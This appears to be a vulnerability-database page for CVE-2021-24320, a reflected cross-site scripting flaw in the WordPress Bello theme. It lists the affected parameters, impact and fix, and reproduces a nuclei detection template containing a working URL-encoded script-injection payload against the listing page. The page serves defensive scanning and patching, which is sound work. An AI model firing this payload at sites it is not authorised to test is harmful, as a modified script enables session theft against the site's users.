Browse / CVEs / CVE-2021-24320
CVE-2021-24320· bold-themes / bello· CWE-79
WordPress Bello Directory & Listing Theme <1.6.0 - Cross-Site Scripting
WordPress Bello Directory & Listing theme before 1.6.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape the listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameters in the ints listing page.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
Fix
Update WordPress Bello Directory & Listing Theme to version 1.6.0 or later to mitigate the vulnerability.
How to confirm it
Send: GET {{BaseURL}} ; GET {{BaseURL}}/wp-content/themes/bello/readme.txt
Positive when: contains "wp-content/themes/bello/fonts" or "bold-themes.com/bello"
Send: GET {{BaseURL}}/listing/?listing_list_view=standard13%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-24320 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-24320
info:
name: WordPress Bello Directory & Listing Theme <1.6.0 - Cross-Site Scripting
author: daffainfo
severity: medium
description: WordPress Bello Directory & Listing theme before 1.6.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape the listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameters in the ints listing page.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
remediation: |
Update WordPress Bello Directory & Listing Theme to version 1.6.0 or later to mitigate the vulnerability.
reference:
- https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-79%5D-Bello-WordPress-Theme-v1.5.9.txt
- https://wpscan.com/vulnerability/6b5b42fd-028a-4405-b027-3266058029bb
- https://nvd.nist.gov/vuln/detail/CVE-2021-24320
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24320
cwe-id: CWE-79
epss-score: 0.10769
epss-percentile: 0.9587
cpe: cpe:2.3:a:bold-themes:bello:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 3
vendor: "bold-themes"
product: bello
framework: wordpress
tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,bold-themes,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- '{{BaseURL}}'
- '{{BaseURL}}/wp-content/themes/bello/readme.txt'
stop-at-first-match: true
matchers:
- type: word
internal: true
words:
- 'wp-content/themes/bello/fonts'
- 'bold-themes.com/bello'
condition: or
- method: GET
path:
- '{{BaseURL}}/listing/?listing_list_view=standard13%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-79%5D-Bello-WordPress-Theme-v1.5.9.txt
- https://wpscan.com/vulnerability/6b5b42fd-028a-4405-b027-3266058029bb
- https://nvd.nist.gov/vuln/detail/CVE-2021-24320
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from